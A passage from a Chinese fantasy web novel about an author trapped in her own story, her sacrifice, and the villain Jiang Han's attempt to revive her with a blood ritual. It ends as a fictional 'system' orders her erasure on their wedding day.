双方即将开战时,岁忆谙出现了,众人的视线纷纷落在她的身上。
靳江浛焦急道:“谙,你怎么出来了,快回去。”
岁忆谙对靳江浛说:“我要离开了,但我还是放心不下你…………”
靳江浛觉得岁忆谙有些古怪,他走上前,说:“谙,你若是想离开,离开便好了,我能找到你的,你先离开这里好吗?”
“谁都别想离开!”不知谁吼了一句。
先前说一命换一命的那个妇人冲到岁忆谙面前,她抱着孩子跪倒在地,只不过跪偏了方向。
妇人早就哭瞎了双眼,自然分辨不出岁忆谙站在何处,但她苦苦哀求道:“谙姑娘,求求你救救我的孩子吧,他被他醉酒的爹活活摔死了,求求你救救他。”
靳江浛看了一眼,不耐烦地说:“你的孩子死了快三日,就算是神仙来了也救不活,再者,是他爹摔死的他,你找错人了。”
他爹不能让孩子活过来,妇人只能来求岁忆谙。
“谙姑娘,你不是这个世界的创造者吗?你不是书写我们命运的人吗?既然如此,你为何不能让我的孩子活过来。”
“我书写不了所有人的命运。”岁忆谙轻声说,算是变相拒绝。
此话一出,双方正式交战,一片混乱,靳江浛设下了结界来保护岁忆谙。
秋风卷起沙土,呼啸的风声与兵刃碰撞声回响在魔域外。
气压低沉,瞬息之间,空气中就充斥着浓浓的血腥味。
靳江浛正手持黑石长剑拼命厮杀,只不过他没有注意到的是,身后凭空出现一道凶猛的灵力,就像是把利刃。
灵力的出现无声无息,靳江浛丝毫没有察觉,但他却感受到了另一股熟悉的气息。
刚一转身,怀中落下一人。
“谙!”
靳江浛双瞳骤缩,他将被岁忆谙揽在怀中,反手一剑挥开周围的所有人。
“岁姑娘!”黎绕月注意到了这边的情况,她大喊出声,众人心照不宣地停下手中的动作,纷纷看去。
掌心粘腻,靳江浛举起来一看,是满手的鲜血。
岁忆谙的喉咙被割破了,鲜血大股大股涌出,溅在了自己素白的衣裙上。
靳江浛下意识捂住她的喉咙,懵了几秒,才想起来用魔力为岁忆谙止血。
“谙,我不是设下了结界吗?你怎么能出来,为何要出来,又为何要替我挡…………”靳江浛声线颤抖,双目通红。
岁忆谙张口想要出声,话还没出口,喉咙涌上鲜血,窒息感传来,她猛地咳嗽。
“咳咳…………”
“我能救你一次,就能救你第二次。”岁忆谙模糊不清地说着。
靳江浛得双手控制不住得疯狂抖动,他声音哽咽:“我就让系统救你,系统肯定可以救你的!”
“系统,快出来救她啊!”靳江浛对着空气大喊出声。
手上动作不停,一直将魔力输送到伤口处,可是伤口的愈合速度极慢。
岁忆谙反握上靳江浛捂着自己伤口的手,她制止。
“不,或许我的死亡才能结束这个世界的痛苦,而我…………也希望你不要再痛苦了。”
“咳咳……咳咳咳咳咳…………”
岁忆谙说不出话了,她将喉咙里的血液尽数咳出,才勉强能发出声音。
“靳江浛,你的人生是痛苦的,我不愿你活在……痛苦之中。”
“你不要再杀人了,还有……”
“忘了我吧。”
靳江浛拼命摇头,大吼出声:“不要,我等了百年才等到你,你不能离开!”
怀中的人闭上眼,渐渐没了声息,四周寂静无声,唯有血液流动的声音一直存在。
靳江浛将岁忆谙抱在怀里,力道之大,似乎要将她嵌入自己体内,感受着她的体温,也不想让她的身躯变冷,这样她就不会离开自己。
泪水不断涌出,只可惜冲刷不掉岁忆谙脸上的血。
“你不能离开………”
靳江浛无力,他双目涨红,恶狠狠的视线扫视一圈,众人忍不住退后。
“是你们逼死了谙。”
“岁岁,杀光他们。”靳江浛命令道。
躺在一旁的黑石长剑晃动,它从地上飞起,就在众人惶恐不安的时候,它又摔在了地上。
“岁岁,杀光他们!”靳江浛再一次命令。
这次,黑石长剑无动于衷,靳江浛反应过来后,自嘲一笑,他低头抚摸上岁忆谙的脸庞。
“谙,岁岁都不听我的话了,你回来让它听话好不好?”
“谙,若是你在,兴许我还能听你的话,可是你死了,我一定会让他们陪葬的。”
话音刚落,靳江浛施法将众人困住,他体内的魔力疯狂涌出,瞬间将众人包围。
黑漆漆的魔力压迫感十足,铅灰色的云笼罩在魔域上空,土地出现裂缝。
狂风肆虐,站不稳的人直接掉入裂缝深渊,血肉迸溅,惨叫声不绝于耳。
众人这才感受到了鬼石的毁天灭地之力,四散而逃。
靳江浛抱紧了岁忆谙留在远处,静静等待着死亡降临。
忽然,空气凝滞,一切暂停,一阵微风吹过,时间重新开始转动。
靳江浛保持原样跪坐地,眼角的一颗泪珠落在自己的掌心,而心如绞痛。
他哭了?
在哭什么?
又为何会哭?
百年后的仙魔大战,以仙门大败而告终。
穆净很开心,当晚就安排了宴会。
宴会上歌舞升平,其乐融融,就连白猿都变回原形,在肉堆前大快朵颐。
靳江浛与欢乐的氛围格格不入,他对这一切都不感兴趣,脑子依旧在思考自己的那滴泪。
那滴泪不仅充满悲伤,还有一丝痴狂,真奇怪。
而且当时自己身上明明没有伤口,可为什么会有那么多的血?
那些血又是谁的?
一大堆问题困扰着靳江浛,他头疼欲裂,起身离开大殿,走着走着,便走到了一座宫殿前。
“江南宫?
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靳江浛记得这是他居住的宫殿,只不过为何叫江南宫他倒是忘了。
头疼得实在厉害,靳江浛抬脚走进,在路过院中的桃花树下时,花瓣无风自落,落在了他的身上。
八月明明不是桃花开花的季节,可江南宫的这棵桃花树却开得格外艳丽。
桃花香扑鼻而来,甜而不腻,清香缓解了靳江浛的头痛,他不自觉靠近桃花树,享受着片刻舒心。
不知不觉,靳江浛在桃花树下站了许久,他回到卧房,路过梳妆台前,脚步一顿,倒退几步看向桌子,桌上摆着各式各样的胭脂水粉。
靳江浛有点懵,他来到衣柜想要换衣时,却被眼前的一幕震住。
衣柜里都是五颜六色的女子衣裙,靳江浛僵着手随便取出两件,心中诧异,他…………没有女装癖吧?
靳江浛不记得自己喜欢穿女装啊,怎么衣柜里全是女子衣裙,再打开另一个衣柜,这个衣柜倒是正常,都是自己的。
沐浴完躺到床榻上后,靳江浛还是有些懵,这是他的宫殿没错,可为何他的宫殿里会出现女子的衣裙?
对了,他的佩剑上还刻着谙这个字,他又为何要刻这个谙字呢?
靳江浛总感觉自己忘了些什么。
车水马龙,阳光明媚,暖洋洋的日光洒在一间出租屋里。
岁忆谙醒来后就发现自己倒在一堆杂乱的书籍之中,她猛地坐起身来,望着周围熟悉的环境,她终于放下心来。
她回来了。
她真的回来了。
在穿进书中世界之前,岁忆谙在房中整理自己的书,意外翻到了她高中写的小说手稿。
高考过后,《月绕当空》这本小说早就被岁忆谙遗忘在某个角落了,直到穿书前翻出来时,她才记得自己写过这么一本。
岁忆谙正低头寻找自己的手机时,发现自己还穿着那条染了血的衣裙,也不知晓靳江浛怎么样了。
她还记得丧失意识的前一刻,靳江浛滚烫的泪珠还落在了自己的眼皮上。
“嘶————”
左肩传来刺痛,是那个牙印。
岁忆谙不再想他,而是打开手机,看着屏幕上只过去三分钟的时间,她愣了一下。
难道她穿进书里的那一刻,现实世界时间就暂停了?
不管了,能回来就行。
零零零更新的任务是让岁忆谙甘愿赴死,而她换了一个方式,就是为靳江浛挡下致命一击,这会让靳江浛知晓自己有多么得爱他,爱他爱到愿意为他去死。
这更能放下靳江浛心中的戒备。
只不过靳江浛警惕心太高,没有弟子偷袭成功,岁忆谙难以找机会替他挡刀,她便让零零零对靳江浛使出一击。
没想到这一击竟然直接割破了岁忆谙的喉咙,没能让她再说多些话来“感动”靳江浛。
在此之前,零零零屏蔽了岁忆谙的痛觉,所以她什么都感受不到,脖子处的伤口也消失得一干二净。
“零零零,你在吗?”岁忆谙想喊它出来谢谢它。
“零零零?”
房间无比安静,零零零并没有回话,岁忆谙打算先去洗个澡,刚站起身想要越过满地的书时,熟悉的机械声再度响起。
【警告!警告!】
【宿主岁忆谙任务即将失败!】
76. 记起
一夜之间,江南宫院落里,那棵桃花树上的桃花落了满地,只剩下光秃秃的树枝。
靳江浛打开门,一股邪风将满地的桃花瓣都吹向他,他抬起手臂,用宽大的袖子遮面。
晨光就想轻纱般笼罩着靳江浛,等到邪风散去,他的发丝上,衣衫上,就连袖子里都有桃花瓣。
靳江浛只能回屋整理,来到梳妆台前,照着铜镜将发间的花瓣摘下,全都摘光后,潜意识里却觉得发间少了什么。
好像少了根簪子。
靳江浛纠结半晌,还是打开了木匣子。
第一层是金钗银簪。
他不喜欢戴金银。
第二层是耳饰。
他没有耳洞。
第三层……
靳江浛看到第三层的东西后,整个人呆楞住。
第三层有一根快要枯萎的桃花枝。
“桃花簪。”靳江浛将桃花枝拿起,脱口而出。
明明是一根桃花枝,他为何要说成簪子?
一瞬间,脑袋刺痛,像是有根针在脑中来回穿梭,随之而来的还有一些模糊的片段。
靳江浛捂着脑袋,痛得额上青筋暴起,他烦躁地将桌上的东西统统扫落在地。
连带着桃花枝摔落在地,撞击使上面的花瓣掉落,靳江浛余光瞥见后,眉头紧锁,熟悉的话语回响在耳畔。
[你头上这簪?]
[这是百年前你送我的……你不在的日子里我一直戴着,就当是你还在我身边。]
[既然你在我面前,那我也不用戴了。]
[戴着吧,挺好看的。]
[戴着吧,挺好看的。]
[戴着吧,挺好看的。]
“啊————”
靳江浛痛得大喊出声,魔力外泄,宫殿塌陷,就在江南宫变成废墟的前一刻,他运转魔力将那根桃花吸到了手里。
废墟之中,靳江浛手里攥着那根桃花枝哭泣,他记起了往日的一切,记起了与岁忆谙相处的点点滴滴。
“谙死了………”
“岁忆谙死了………”
当穆净来到这里时,她无语至极:“靳江浛,你怎么又把本君的宫殿搞塌了?上次是…………”
上次靳江浛把大殿搞塌的原因是什么来着?她怎么记不清了。
江南宫沦为一片废墟,唯有那一棵桃花树屹立在原地。
靳江浛闯遍仙门藏书阁,只为寻找到还魂之法,他记得在最后的结局中,黎绕月与自己同归于尽,白英空用禁术救回了她。
那自己也可以用禁术救回岁忆谙,翻了三天三夜,靳江浛终于找到了这本古籍,上面就记载着让人死而复生之术,说是要用人血画阵,用人心当祭品。
其实靳江浛一直有一个疑问,岁忆谙的尸体去哪儿了?
希望不要是他猜测的那样。
正值午时,午荒山上阴云密布,靳江浛坐在山上凉亭之中,石桌上摆着水果糕点,都是岁忆谙爱吃的,等法阵成型,岁忆谙回来就可以吃了。
耳边传来凄惨的哀嚎声,靳江浛只觉得悦耳动听。
凉亭前,靳江浛将在魔域前让岁忆谙去死的人都抓过来了,里头有普通百姓,也有仙门弟子。
看着零零散散的二十几人,靳江浛觉得自己那日不应该杀那么多人,也不知这二十多颗心脏够不够用。
他们统一被割了手筋脚筋,血流了一地,靳江浛将血汇聚成法阵。
现在就等法阵成型,再掏出他们的心脏即可。
“靳江浛,你在做什么?!”
凉亭外落下数道身影,为首的正是白英空,昨日姚钰君将白英空背出魔域后,长老就让两人回凌仙宗。
靳江浛身子不动,只有眼神移了过去,语气遗憾:“白英空,大战那日没和你战上一次着实是可惜了。”
靳江浛是在遗憾自己没能和主角对上,这个世界与之前不一样,也不知自己能否赢下白英空。
白英空自然不知晓靳江浛在想什么,他上前一步道:“靳江浛,仙魔之战早已结束,你到底想干什么?”
靳江浛耸了耸肩:“如你所见,还魂之阵。”
“还魂?你要还谁的魂?”白英空也忘了关于岁忆谙的一切。
靳江浛眼神哀痛,他并没有回白英空的话,而是自顾自说:“看来,这个世界只有我还记得她。”
“这样也好。”
所有人都不记得岁忆谙,那岁忆谙就是他一个人的了。
“白英空,念在往日交情,我不杀你,带着你的人赶紧滚吧。”靳江浛语气轻蔑,丝毫不把白英空放在眼里。
白英空看了眼阵中挣扎的几个同门弟子,他拔剑出鞘,说:“可念在同门情谊,我必须救他们。”
姚钰君也在其中,她并不是很赞成白英空来这里救人。
仙魔大战后,凌仙宗的弟子所剩无几,养精蓄锐才是好法子,可白英空竟然带着剩下的弟子来送死,她真是搞不懂。
靳江浛不耐烦地将白英空几人捆了起来,要是能杀了白英空,他早就死了,岂还能在这儿说废话。
就在靳江浛等待时,身后响起一道熟悉的声音。
“靳江浛…………”
靳江浛回头看去,大吃一惊:“路原?你没死?”
被抹了脖子的路原竟然出现在了靳江浛身后?!
路原依旧是一身水墨衣衫,他劝道:“靳江浛,收手吧,她不希望你杀人。”
靳江浛对路原的话充耳不闻,他站起身面对路原,上上下下打量了一眼面前的人一番。
“我挺好奇的,你到底是个什么东西?”
“我是谁不重要,重要的是你救不了她。”路原说。
靳江浛眼神漠然,“你什么意思?”
“你知晓她不是这个世界的人,所以她死后肉身消散,灰飞烟灭,无论你挖出多少个人的心脏都没用,她回不来了。”
路原冷漠地说着,情绪并什么起伏,而靳江浛却怒火攻心,他
“我凭什么信你,你究竟是谁?!”
“我不是岁忆谙创造的,我是系统创造的。”
提起系统,靳江浛就来气,他怒道:“你既然没死,那你为何不救她?”
“这是她的选择,她说了她不想让你痛苦。”
路原轻飘飘的一句话犹如给在怒火中的靳江浛浇了盆冷水,浑身气压极低,嗓音森冷:“我不相信。”
靳江浛不相信死亡是岁忆谙的选择,她明明上一秒还要离开…………
离开…………就是死亡吗?
靳江浛化出黑石长剑,
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一剑挥向路原,在剑刃触碰到他的一瞬间,他化作烟雾散去。
靳江浛走出凉亭张望一圈,不见路原身影,似乎是为了坚定自己,他又道:“十颗心脏没用,那我就取百颗,百颗没用,那我就杀光全天下的人。”
靳江浛几近疯癫,他随手化出一个傀儡,对他说:“去把黎绕月和柳微晴喊过来。”
傀儡应下。
倘若祭品是主角的心脏,那成功的概率是否会大一些?至于柳微晴,她一个傀儡长了心,自然是要用在刀刃上。
靳江浛这般想着,他走到白英空面前,礼貌地问道:“白英空,你的心脏借我可好?”
白英空想也不想就点头答应:“好,我把我的心脏给你,你把他们都放了。”
姚钰君出声制止:“不可以,你一个人的心脏可不够他用。”
“这倒是说对了。”靳江浛满意地点点头。
就在这时,黎绕月和柳微晴来了,身后还跟着裴汔,华屿山也跟过来凑热闹。
靳江浛二话不说,施法将四个人都捆了起来。
“靳江浛,您做什么?!”裴汔惊慌。
“来都来了,一起吧。”
靳江浛将几人丢到阵中,华屿山顿感不妙,他甩出扇子,折扇变大,将即将落下的几人稳稳拖住。
华屿山想操控折扇时,却发现折扇不仅动弹不得,还发现扇面隐隐有撕裂的趋势,他急忙运转全身灵力稳固扇面。
其余人也施法帮忙,只可惜都抵不过靳江浛的魔力。
就在华屿山即将坚持不住时,他连忙开口:“靳江浛,你还欠我一个好处!”
靳江浛头一歪,似是在回想自己是何时欠的,好像是在安宁村…………
“说说看。”
“放了柳微晴。”
柳微晴像看一个蠢货一样看着华屿山,眼神示意他怎么不救他自己?
华屿山忽视掉她的眼神,继续道:“柳微晴是你用魔力所化,你忍心杀她?”
这只是华屿山随便找的一个借口而已,事实上他也没想到自己会说出柳微晴的名字,或许他只是不想看到…………只是不想看到柳微晴死。
靳江浛笑道:“傀儡无心无情,只有一副躯壳,柳微晴生出了心,这颗心说不定是招魂最好的祭品。”
“我怕是不能如你所愿了。”
话音刚落,一条紫色长鞭突然出现,鞭子缠上了华屿山折扇的扇骨。
穆净一甩鞭子,折扇被及时拉离,几人稳稳落地,华屿山顺势将折扇收回。
白英空看了穆净一眼,属实是没想到穆净会救他们几个仙门弟子。
穆净这么只是顺手而已,缠折骨比缠好几个人方便,她收回鞭子,质问道:“靳江浛,你又在发什么疯?”
靳江浛懒得理会,他再度想朝他们出手,穆净挡在众人身前,打断了他的施法,厉声警告:“靳江浛,你杀多少仙门弟子我都不管,但是你不能动我的人。”
“穆净,你当真以为我怕你?”靳江浛也道。
话落,两人同时出手,黑石长剑与鞭子在空中碰撞,其余人也不闲着,白英空开始救人。
黎绕月等人决定先帮穆净,毕竟靳江浛要杀他们。
面对几人不太默契的进攻,靳江浛就显得游刃有余。
77. 再次重逢
午荒山上狂风呼啸,漫天枯叶,吹奏骨笛的笛声倒是为这混乱的场面添上了一丝美意,就在这时,刀光剑影当中,一道白色身影凭空出现。
“靳江浛,你给我停下来!”
风声过大,忙着反击的靳江浛并未听见岁忆谙的话,反倒是手上的黑石长剑不受控制。
黑石长剑疯狂抖动,靳江浛不明所以,随即便想起来,当初在洛河村时,岁岁也曾这般抖动过,他迅速松了手。
顺着黑石长剑飞的方向看去,岁忆谙正站在凉亭前,她身上的衣裙还是那日的白意。
靳江浛欣喜若狂,他施法将几人掀飞,然后闪身出现在岁忆谙面前。
“谙,你真的回来了。”
靳江浛想将岁忆谙拥入怀,还未上前,一巴掌就甩了过来。
啪!
巴掌声回响在午荒山山顶,靳江浛左脸火辣辣的,就像是被烈火灼伤了一般。
靳江浛脑子懵了一瞬,对上岁忆谙充满怒意的眼神,他挥手将还魂阵停下,然后低头认错。
“谙,我错了,我只是想让你回来,当初白英空也用了这个禁术才救活黎绕月的,我………”
靳江浛一股脑说着,似乎提前就准备好了说辞,就等岁忆谙出现。
“救活黎绕月?”岁忆谙瞥了眼靳江浛身后的场景,在结合他说的话就猜到了七七八八。
岁忆谙吼道:“白英空善良,他不想伤害他人,所以用的是他自己的心脏,用的是他自己的血!”
靳江浛没想到白英空会用自己的血,或许这就是他与白英空不同的原因,他没有白英空善良。
“谙,你为何那么在乎其他人的性命?”
“还为他人而死,到头来呢?”
“除了我,没有一个人记得你!”
岁忆谙:“我不需要他们记住我,我更不需要你记住我。”
面对靳江浛的激愤,岁忆谙声音清冷,面无表情,但眼中里同样含着泪水。
岁忆谙不知晓自己为何而哭,是在哭只有靳江浛记得自己,还是在哭自己又回到了这个鬼地方。
“可是我也没有办法,我就是忘不掉你。”
此话一出,岁忆谙终于忍不住了,眼泪夺眶而出,靳江浛见此,伸手将她揽入怀中,然后施法弄昏了她。
靳江浛不再管其余几人,他抱起岁忆谙离开午荒山。
岁忆谙睁眼便发现自己身处在一片白茫茫之中,四周空白,似乎没有尽头。
【叮!正在链接主系统…………连接成功!】
“主系统?零零零呢?”岁忆谙疑惑,和她对接的竟然不是零零零。
【零零零被销毁了,它擅自更改任务,帮助你离开这个世界,所以它被销毁了。】
说话的八成是主系统,但它语气里充满着伤心和遗憾,岁忆谙竟然听出了一丝人情味儿。
岁忆谙问:“你到底想做什么?”
【留在这里不好吗?】
“好不好不是你说了算,是我说了算。”
【你离不开了,靳江浛不会让你离开的,你也看见了,他试图杀人招魂。】
岁忆谙无语:“那你就让他招不到魂啊。”
那道声音又说:【我必须确保这个世界的正常运转。】
岁忆谙嗤笑:“你算什么东西?这个世界是我创造出来的,我想让它运转就让它运转,想让它毁灭就让它毁灭。”
【你创造的世界不完整,是我让它完整了。】
所以呢?管她屁事?
岁忆谙不耐烦道:“废话少说,我到底怎样才能离开。”
【你得问靳江浛。】
“废物。”岁忆谙骂道。
江南宫卧房内,岁忆谙醒来后就发现自己换了衣衫,而靳江浛坐在床尾握着她的脚。
岁忆谙下意识抽回,却听到了锁链碰撞声,起身仔细一看,她的脚踝上戴着脚镣。
“谙,你醒了。”靳江浛伸手想要碰她,岁忆谙躲了过去。
“靳江浛,你又发什么疯,赶紧给我解开。”
靳江浛倒是十分顺从,他伸手拂过锁链,二话不说就施法解开它。
“解开了。”
锁链消失,岁忆谙理都不理靳江浛,下了床就跑,鞋都没穿。
靳江浛看起来是要囚禁她,岁忆谙知晓自己跑不掉,但能离他远点就行。
岁忆谙赤着脚跑到院子,即将迈过大门门槛时,一条锁链从地里凭空出现缠上了她的脚踝,她及时停下才没摔倒。
看着朝她走来的靳江浛,岁忆谙问道:“这是什么?!”
靳江浛走到岁忆谙身前,默默地说:“你离不开江南宫的。”
话落,岁忆谙身子腾空,整个人被靳江浛抗在了肩头。
“靳江浛,你放我下来!”
“我反胃啊!”
听到岁忆谙这么说,靳江浛一个闪身来到了卧房,他将岁忆谙丢到床上,然后转身离开。
片刻后,靳江浛打了盆水进来,单膝跪在岁忆谙面前,施法将水温升高,觉得差不多的时候才将布浸湿。
岁忆谙被扔得脑子嗡嗡,搞不懂靳江浛要做什么,她的脚踝再次被靳江浛握住。
“擦脚。”
靳江浛的话打断了岁忆谙抽脚的动作,握在脚踝上的手加大了些许力道。
岁忆谙刚刚赤脚踩地,脚底沾满了脏灰,她不再挣扎,而是将脚放在了靳江浛的膝盖上。
有人上赶着伺候,她不得好好享受。
靳江浛拿着帕子仔仔细细地擦着,两只脚都擦完后,他抬眸看着岁忆谙,就这么静静看着,也不说话。
岁忆谙只感到莫名其妙,被盯得不耐烦了,她扬手就是一巴掌。
力道不打,声响却大。
靳江浛懵了一瞬,随即勾唇笑了。
“神经病。”岁忆谙一脚将靳江浛踹开。
靳江浛也不恼,而是端着水盆出去了。
深夜,岁忆谙躺在榻上沉思,想着自己该如何离开时,哒哒哒的脚步声从身后响起。
夜色正浓,房内早就熄了灯,月光透进。
靳江浛走到床榻边,欲上榻时,泛着寒光的锋利剑尖却阻挡了他的脚步。
靳江浛挥手,蜡烛燃起火焰,着凉了房内的场景,岁忆谙坐在榻上,黑石长剑正对着他。
“谙,你又想杀我?”靳江浛面无表情,只是垂在两侧的默默攥紧。
“只有杀了你,这个世界才能恢复正常。”
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>靳江浛不解:“我究竟做错什么了?就因为我要杀了他们吗?可我的本性就是这样,你既然写下来了,为何不能接受呢?”
“我是恶人,你又何尝不是呢?”
“啃食人肉的洛河村村民,被活生生闷死的阿纸,还有全族被灭的白菊花妖,这些不都出自你的手笔吗?”
“让我变成这样的不是你吗?”
靳江浛一步步走向岁忆谙,岁忆谙抬手,将剑尖指向他的喉咙,平静地说:“我没错,谁都可以有错,我没有,也不可能有。”
要是以往,岁忆谙还会将一切苦难的源头揽在自己身上,但是现在她想清楚了,源头是她又如何?
她可以怜悯,可以愧疚,但同样她也有掌控所有人的权力,谁让这些人在自己笔下诞生。
“当我来到这个世界那一刻起,你们就有了掌控自己人生的权力,我没有阻止,我也没有写下他们的遭遇。”
岁忆谙并不是一个很偏执的人,这个世界告诉她了,她笔下的角色都是有生命的,她没有拆散黎绕月和裴汔,也没有强硬撮合主角。
“你若是受我掌控,你早就死了。”岁忆谙实话实说,要是现在能改写结局,她立马把靳江浛写死。
这个世界里,笔下角色都有属于自己的思想,岁忆谙不会主动掺和进去,可谁让靳江浛危害到了自己的人身安全。
“在这一方世界里,你可以不满意自己的遭遇,可以意识觉醒,也可以想杀谁就杀谁。”
靳江浛始终认为人生掌控在他自己手上,可当他失败后得知自己注定输的那一刻就有些迷茫。
都是人,凭什么他不能成功?
都是人,凭什么他的复仇就是错误的?
都是人,凭什么他是反派,凭什么反派注定会失败?
“别说了!”靳江浛大吼道。
岁忆谙手中的黑石长剑猛然掉落在地,她依旧镇静,对即将崩溃的靳江浛说:“你冲我发什么脾气?你要怪就怪那个主系统,是它最开始阻止你复仇的。”
只要不做对岁忆谙不利的事情,他们想摧毁这个世界都可以。
“反正纸上的文字不会发生改变,当我翻开这本书的第一页时,你所遭遇的一切就会重新开始,你终究是我笔下的蝼蚁。”
这场争吵最终以靳江浛夺门而出结束,岁忆谙说得畅快,入睡得也快。
次日午时,靳江浛来敲了门,他恢复了以往的乖巧模样,仿佛昨晚的争吵从未发生过。
“谙,该洗漱了。”靳江浛将水盆放在床头柜上,然后坐上床沿。
岁忆谙安静地躺在榻上,一点儿动静都没有,靳江浛因为她不愿意搭理自己,便附身摸上她的脸。
靠近的那一瞬间,靳江浛能感受到岁忆谙呼吸的微弱,他一下子慌了神。
“谙?”
“岁忆谙?”
靳江浛轻声唤着,而沉睡的岁忆谙终于醒了,她不耐烦地睁开眼,再看见面前的人后,她一掌甩过去。
刚睡醒的巴掌力道不重,靳江浛也放下心来。
看着翻了个身继续睡的岁忆谙,靳江浛无奈拿着水盆离开。
靳江浛以为岁忆谙过会儿就会起床,没想到天渐渐暗下来后,卧房的门还没被打开。
78. 结局
靳江浛有些担心,来到卧房门前,正想推门时,门开了。
岁忆谙打着哈欠,神色疲惫地走了出来。
“谙,你没事吧?”靳江浛微微蹙眉,目光在岁忆谙苍白的脸上停留片刻,声音里掩盖不住的担忧。
岁忆谙懒散地看了靳江浛一眼,嘴角强行扯出一抹微笑,道:“我能有什么事情?我饿了。”
“那我去给你做点吃的。”一听岁忆谙饿了,靳江浛立刻进了厨房。
当靳江浛端着煮好的面来到院子里,一踏进院子就看见趴在石桌上的岁忆谙,发丝四散,上面落满了桃花花瓣。
靳江浛将清汤面放在石桌上,热气腾腾的清汤面散发出诱人的香味,但这香味并没有吸引到岁忆谙。
直到靳江浛轻拍着岁忆谙的肩膀,她才抬起脑袋,睡眼惺忪。
“谙,你怎么又睡了?”靳江浛疑惑道。
“我睡了吗?”岁忆谙声音沙哑,像是不知晓自己刚才睡过一样。
“先吃点吧。”靳江浛将面推到她的桌前,然后落坐到她身旁,伸手将落到她发丝间的花瓣摘下。
岁忆谙刚拿起筷子,鼻腔突然一热,一滴血落在清汤面上。
血迹在汤面上散开,像一朵妖艳的花在绽放,岁忆谙怔住,伸手一抹,指尖染血。
“流鼻血了…………”
靳江浛注意到了岁忆谙的举动,瞳孔骤然收缩,急忙掏出帕子,刚捂上,岁忆谙就脑袋一歪昏了过去。
“谙!”
靳江浛拔高音量,这一声给岁忆谙又喊醒了,她蹙眉:“别吵,我要睡觉……”
紧接着是岁忆谙细微的呼吸声,她彻底昏睡了过去,靳江浛抱起她去找了华屿山。
华屿山把完脉后也没得出什么结论,无病无灾,可能是真困。
靳江浛可不这么觉得,岁忆谙都流鼻血了,还睡了一天,肯定有问题,他就这么守着岁忆谙醒来。
接下来的日子里,岁忆谙一天要睡十个时辰,要是靳江浛不唤醒她,她怕是能一直睡下去,最开始是时不时流鼻血,之后就转变成了吐血。
现在的岁忆谙面色苍白,什么东西都吃不下去,身子就没离开过床榻,就连眼皮都无力掀起。
靳江浛担心坏了,他熬了粥,想要喂岁忆谙喝下,可他一口也喂不进去。
华屿山来看过好几次,依旧是什么病都没诊断出来。
直到某日,靳江浛想起了那个主系统,他来到卧房外,对着天说:“主系统呢?!快给我出来!”
主系统这次倒是来得很快,仿佛一直在等待靳江浛找他。
【她不是这个世界的人,保护她的零零零被销毁了,所以她承受不了这个世界的空气,承受不了这个世界的食物,承受不了这个世界的一切。】
靳江浛之前从未听说过这种情况,但焦急已经让他失去了理智,他朝虚无之处喊道:“那你救她啊!”
【我救不了她。】
【零零零能掩盖她身上外来者的气息,零零零被销毁后,她本可以离开这里,可你执意让她回来,说到底还是你害了她。】
说到底还是你害了她。
这句话萦绕在靳江浛心头。
“谙,你不会死的。”
“你不会死的。”靳江浛坐在岁忆谙床边,声音颤抖得厉害,却又固执地重复着,指尖抚摸她的脸,神情癫狂。
岁忆谙被一直念叨的靳江浛吵醒了,靳江浛将她揽在怀中。
靳江浛环住岁忆谙的手臂不自觉地收紧,怕吓着她,便小声地说:“谙,我们离开魔域好不好,去到一个没人认识我们的地方。”
岁忆谙没有回答,而是在靳江浛怀里微微动了动,发顶蹭过他的下巴,耳边听着他慌乱的心跳声。
房内安静得可怕,岁忆谙低头思索着,良久才道:“靳江浛,你娶我吧。”
靳江浛浑身一僵,血液仿佛在此刻凝固,他不可置信地低头,正对上岁忆谙浅棕色的双眸,而他从那双眸子里看到了认真。
“我都听到了,我允许你娶我。”
岁忆谙又道。
“好,我娶你。”
婚礼就定在八月十六,时间很赶,地点就选在魔域,当穆净听到靳江浛要成婚时,她当即就吩咐手下准备,就连喜服都是让百位绣娘连夜赶工出来的。
八月十六当日,岁忆谙早就没力气起身换衣了,靳江浛不愿用魔力控制,便将大部分的鬼石魔力都给了她。
在鬼石魔力的帮助下,岁忆谙成功换上了嫁衣,侍女也为她梳好了发型。
看着铜镜里的脸,岁忆谙有些恍惚,喉咙涌上腥甜,她一口血喷了出来,鲜血被喷在昏黄的铜镜上,什么都看不清了。
侍女慌乱地帮岁忆谙擦掉血迹,整理完后,才为她盖上红盖头。
这次喜宴来的宾客众多,大殿外都站满了人。
透过红色轻纱,岁忆谙能感受到周围人探究且陌生的目光,在场的宾客之中,除了靳江浛,竟无一人认识她。
去到魔域大殿还要踏上台阶,靳江浛站在殿外,看着需要被侍女搀扶的岁忆谙,他想也不想便走下台阶。
靳江浛准备背岁忆谙上到大殿,刚来到她面前时,忽然间天色骤变,原本湛蓝的晴空瞬间阴沉,翻滚的云中隐隐传来电流般的嗡鸣。
一道冰冷的机械声从云层深处传来,不带任何感情。
【警告!警告!】
【检测到不知名人物,即刻抹杀。】
岁忆谙一愣,听见周围的私语声,她一把掀开盖头,很显然,所有人都听见了这道声音。
天雷在乌云层中穿梭,仿佛随时都要落下。
岁忆谙无措地望着天空,棕瞳中倒映着的翻涌的乌云,她呐呐自语:“不知名人物…………是我。”
“谙,你在说什么?”
“不知名人物是我。”岁忆谙似乎预感到接下来会发生什么,她红了眼,泪水在眼眶中打转,对靳江浛又说了一遍。
靳江浛一把将岁忆谙揽入怀中,安慰道:“谙,有我在,你不会有事的。”
“这婚我们怕是要改日再成了,我带你离开这里。”
话落,靳江浛牵起岁忆谙手转身想走时,却发现周围的宾客们纷纷围了上来,眼神空洞,面无表情。
“检测到不知名人物,即刻抹杀。”
“检测到不知名人物,即刻抹杀。”
“检测到不知名人物,即刻抹杀。”
所有人都在说这句话,他们的视线紧盯着岁忆谙。
只是一瞬间,所有人冲向靳江浛身后的岁忆谙,靳江浛反应迅速,他化出黑石长剑,一剑挥去。
凌厉的剑气将他们挥飞,靳江浛搂上岁忆谙的腰,闪身消失在原地。
两道身着红色嫁衣的身影飞奔着来到了魔域之外,只不过没想到的是,魔域外也聚集了许多人,一见到岁忆谙,这些人纷纷扑上来。
被人潮包围在中心的两人寸步难行,靳江浛只能将剑直直地刺入地面,他单手施法,磅礴的魔力四散,将所有人都掀飞后,他带着岁忆谙离开。
两人不知去哪儿,只能回到江南宫。
院中,桃花纷飞如雨,岁忆谙用另一只手拽上了靳江浛的衣袖,力道大得几乎要衣料撕裂。
靳江浛愕然回头,看见泪流满面的岁忆谙。
“靳江浛,你杀了我吧。”岁忆谙的声音很轻,却像惊雷炸响在靳江浛耳边。
“谙,你在说什么?!”
岁忆谙认真地说:“杀了我吧,这个世界的所有人都要杀我,我会连累你的。”
“不可能。”
